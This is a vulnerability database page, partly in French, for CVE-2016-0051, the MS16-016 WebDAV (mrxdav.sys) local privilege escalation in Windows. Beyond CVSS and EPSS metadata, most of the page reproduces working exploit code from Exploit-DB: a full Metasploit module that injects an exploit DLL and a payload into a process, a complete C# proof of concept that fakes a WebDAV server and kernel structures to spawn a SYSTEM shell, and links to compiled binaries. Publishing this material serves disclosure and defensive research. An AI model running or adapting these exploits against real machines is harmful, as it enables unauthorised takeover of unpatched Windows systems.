Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-264 |
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V3.0 |
7.8 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 39788
Date de publication : 2016-05-08 22h00 +00:00
Auteur : hex0r
EDB Vérifié : Yes
# Exploit Title: WebDAV Elevation of Privilege Vulnerability (MS16)-2
# Date: 8/5/2016
# Exploit Author: hex0r
# Version:WebDAV on Windows 7 84x
# CVE : CVE-2016-0051
Intro:
Credits go to koczkatama for coding a PoC, however if you run this exploit
from shell connection, not a remote desktop, the result will be getting the
privileged shell in new GUI windows.
Again Thanks to
https://github.com/koczkatamas/CVE-2016-0051
https://www.exploit-db.com/exploits/39432/
PoC:
Download the source code (C#) also there will be compiled version as well,
copy the dll file and the executable to the target machine, run it to get
SYSTEM,
Proof of Concept:
https://github.com/hexx0r/CVE-2016-0051
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39788.zip
Exploit Database EDB-ID : 40085
Date de publication : 2016-07-10 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'MS16-016 mrxdav.sys WebDav Local Privilege Escalation',
'Description' => %q{
This module exploits the vulnerability in mrxdav.sys described by MS16-016. The module will spawn
a process on the target system and elevate it's privileges to NT AUTHORITY\SYSTEM before executing
the specified payload within the context of the elevated process.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tamas Koczka', # Original Exploit
'William Webb <william_webb[at]rapid7.com>' # C port and Metasploit module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => 'false'
},
'Targets' =>
[
[ 'Windows 7 SP1', { } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'CVE', '2016-0051' ],
[ 'MSB', 'MS16-016' ]
],
'DisclosureDate' => 'Feb 09 2016',
'DefaultTarget' => 0
}))
end
def check
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Detected
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end
print_status("Launching notepad to host the exploit...")
notepad_process_pid = cmd_exec_get_pid("notepad.exe")
begin
process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
print_status("Operation failed. Hosting exploit in the current process...")
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2016-0051", "cve-2016-0051.x86.dll")
library_path = ::File.expand_path(library_path)
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected ... injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
thread = process.thread.create(exploit_mem + offset, payload_mem)
sleep(3)
print_status("Done. Verify privileges manually or use 'getuid' if using meterpreter to verify exploitation.")
end
end
Exploit Database EDB-ID : 39432
Date de publication : 2016-02-09 23h00 +00:00
Auteur : koczkatamas
EDB Vérifié : Yes
/*
source: https://github.com/koczkatamas/CVE-2016-0051
Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016).
Full Proof of Concept:
- https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip
- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39432-1.zip
Elevation of Privilege (SYSTEM) exploit for CVE-2016-0051 (MS16-016) for Windows 7 SP1 x86 (build 7601)
Creator: Tamás Koczka (@koczkatamas - https://twitter.com/koczkatamas)
Original source: https://github.com/koczkatamas/CVE-2016-0051
*/
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using System.Threading;
namespace EoP
{
class Program
{
#region Fake WebDAV server
static void StartFakeWebDavServer(int port)
{
new Thread(() =>
{
var server = new TcpListener(IPAddress.Loopback, port);
server.Start();
while (true)
{
using (var client = server.AcceptTcpClient())
using (var stream = client.GetStream())
using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1")))
using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true })
{
Func<string> rl = () =>
{
var line = reader.ReadLine();
//Console.WriteLine("< " + line);
return line;
};
Action<string> wl = outData =>
{
//Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x)));
writer.Write(outData);
};
var hdrLine = rl();
Console.WriteLine("[*] Request: " + hdrLine);
var header = hdrLine.Split(' ');
while (!string.IsNullOrEmpty(rl())) { }
if (header[0] == "OPTIONS")
wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
else if (header[0] == "PROPFIND")
{
var body = String.Format(@"
<?xml version=""1.0"" encoding=""UTF-8""?>
<D:multistatus xmlns:D=""DAV:"">
<D:response>
<D:href>{0}</D:href>
<D:propstat>
<D:prop>
<D:creationdate>{1:s}Z</D:creationdate>
<D:getcontentlength>{3}</D:getcontentlength>
<D:getcontenttype>{4}</D:getcontenttype>
<D:getetag>{5}</D:getetag>
<D:getlastmodified>{6:R}</D:getlastmodified>
<D:resourcetype>{8}</D:resourcetype>
<D:supportedlock></D:supportedlock>
<D:ishidden>{7}</D:ishidden>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim();
wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body);
}
else
wl("HTTP/1.1 500 Internal Server Error\r\n\r\n");
//Console.WriteLine(" =============== END REQUEST =============== ");
}
}
}) { IsBackground = true, Name = "WebDAV server thread" }.Start();
}
#endregion
#region WinAPI
[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr securityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[StructLayout(LayoutKind.Sequential)]
private class NETRESOURCE
{
public uint dwScope = 0;
public uint dwType = 0;
public uint dwDisplayType = 0;
public uint dwUsage = 0;
public string lpLocalName = null;
public string lpRemoteName = null;
public string lpComment = null;
public string lpProvider = null;
}
[DllImport("mpr.dll")]
private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags);
// based on http://www.codeproject.com/Articles/21974/Windows-NT-Native-API-Wrapper-Library
public enum PageProtection : uint
{
NOACCESS = 0x01,
READONLY = 0x02,
READWRITE = 0x04,
WRITECOPY = 0x08,
EXECUTE = 0x10,
EXECUTE_READ = 0x20,
EXECUTE_READWRITE = 0x40,
EXECUTE_WRITECOPY = 0x80,
GUARD = 0x100,
NOCACHE = 0x200,
WRITECOMBINE = 0x400
}
[Flags]
public enum MemoryAllocationType : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000,
FREE = 0x10000,
PRIVATE = 0x20000,
MAPPED = 0x40000,
RESET = 0x80000,
TOP_DOWN = 0x100000,
WRITE_WATCH = 0x200000,
ROTATE = 0x800000,
LARGE_PAGES = 0x20000000,
PHYSICAL = 0x400000,
FOUR_MB_PAGES = 0x80000000
}
[DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false)]
public static extern NtStatus NtAllocateVirtualMemory([In] IntPtr processHandle, [In, Out] ref IntPtr baseAddress, [In] uint zeroBits, [In, Out] ref UIntPtr regionSize, [In] MemoryAllocationType allocationType, [In] PageProtection protect);
public enum FileOpenInformation
{
Superceded = 0x00000000,
Opened = 0x00000001,
Created = 0x00000002,
Overwritten = 0x00000003,
Exists = 0x00000004,
DoesNotExist = 0x00000005
}
internal enum NtStatus : uint
{
SUCCESS = 0x00000000,
INVALID_PARAMETER_1 = 0xC00000EF,
INVALID_PARAMETER_2 = 0xC00000F0,
INVALID_PARAMETER_3 = 0xC00000F1,
INVALID_PARAMETER_4 = 0xC00000F2,
// don't care
}
internal struct IoStatusBlock
{
public NtStatus status;
public InformationUnion Information;
[StructLayout(LayoutKind.Explicit)]
public struct InformationUnion
{
[FieldOffset(0)]
public FileOpenInformation FileOpenInformation;
[FieldOffset(0)]
public uint BytesWritten;
[FieldOffset(0)]
public uint BytesRead;
}
}
[DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false, ExactSpelling = true, PreserveSig = true)]
public static extern NtStatus NtFsControlFile([In] IntPtr fileHandle, [In, Optional] IntPtr Event, [In, Optional] IntPtr apcRoutine, [In, Optional] IntPtr apcContext, [Out] out IoStatusBlock ioStatusBlock, [In] uint fsControlCode, [In, Optional] IntPtr inputBuffer, [In] uint inputBufferLength, [Out, Optional] IntPtr outputBuffer, [In] uint outputBufferLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int LoadAndGetKernelBasePtr();
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
#endregion
private static byte[] il(params uint[] inp) { return inp.SelectMany(BitConverter.GetBytes).ToArray(); }
private static byte[] z(int c) { return rep(0, c); }
private static byte[] rep(byte b, int c) { return Enumerable.Repeat(b, c).ToArray(); }
private static byte[] fl(byte[][] inp) { return inp.SelectMany(x => x).ToArray(); }
public static void Main(string[] args)
{
var shellcodeDll = LoadLibrary("shellcode.dll");
var shellcodeFunc = GetProcAddress(shellcodeDll, "_shellcode@8");
var loadAndGetKernelBaseFunc = GetProcAddress(shellcodeDll, "_LoadAndGetKernelBase@0");
var loadAndGetKernelBase = (LoadAndGetKernelBasePtr)Marshal.GetDelegateForFunctionPointer(loadAndGetKernelBaseFunc, typeof(LoadAndGetKernelBasePtr));
var loadResult = loadAndGetKernelBase();
Console.WriteLine($"[*] LoadAndGetKernelBase result = {loadResult}");
var addr = new IntPtr(0x1000);
var size = new UIntPtr(0x4000);
var result = NtAllocateVirtualMemory(new IntPtr(-1), ref addr, 0, ref size, MemoryAllocationType.RESERVE | MemoryAllocationType.COMMIT, PageProtection.READWRITE);
Console.WriteLine($"[*] NtAllocateVirtualMemory result = {result}, addr = {addr}, size = {size}");
if (result != NtStatus.SUCCESS || loadResult != 0)
Console.WriteLine("[-] Fail... so sad :(");
else
{
Console.WriteLine("[*] Creating fake DeviceObject, DriverObject, etc structures...");
var payload = fl(new[] { z(8), /* [0x8]DriverObject=0 */ il(0), z(0x30 - 8 - 4), /* [0x30]StackSize=256 */ il(0x10, 0), z(13 * 4), il((uint)shellcodeFunc.ToInt32()) });
Marshal.Copy(payload, 1, new IntPtr(1), payload.Length - 1);
var p = new Random().Next(1024, 65535);
Console.WriteLine("[*] Starting fake webdav server...");
StartFakeWebDavServer(p);
Console.WriteLine("[*] Calling WNetAddConnection2...");
var addConnectionResult = WNetAddConnection2(new NETRESOURCE { lpRemoteName = $@"\\127.0.0.1@{p}\folder\" }, null, null, 0);
Console.WriteLine("[*] WNetAddConnection2 = " + addConnectionResult);
var fileHandle = CreateFile($@"\\127.0.0.1@{p}\folder\file", 0x80, 7, IntPtr.Zero, 3, 0, IntPtr.Zero);
Console.WriteLine($"[*] CreateFile result = {fileHandle}");
IoStatusBlock ioStatusBlock;
var inputLen = 24;
var inputPtr = Marshal.AllocHGlobal(inputLen);
var outputLen = 4;
var outputPtr = Marshal.AllocHGlobal(outputLen);
var controlResult = NtFsControlFile(fileHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out ioStatusBlock, 0x900DBu, inputPtr, (uint)inputLen, outputPtr, (uint)outputLen);
Console.WriteLine($"[*] NtFsControlFile result = {controlResult}");
var identity = WindowsIdentity.GetCurrent();
if (identity?.IsSystem == true)
{
Console.WriteLine("[+] Got SYSTEM! Spawning a shell...");
Process.Start("cmd");
}
else
Console.WriteLine($"[-] Something went wrong, looks like we are not SYSTEM :(, only {identity?.Name}...");
}
Console.WriteLine("");
Console.WriteLine("Press ENTER to exit.");
Console.ReadLine();
}
}
}
Products Mentioned
Configuraton 0
Microsoft>>Windows_10 >> Version -
Microsoft>>Windows_10 >> Version 1511
Microsoft>>Windows_7 >> Version *
Microsoft>>Windows_8.1 >> Version *
Microsoft>>Windows_rt_8.1 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2012 >> Version -
Microsoft>>Windows_server_2012 >> Version r2
Microsoft>>Windows_vista >> Version *
Références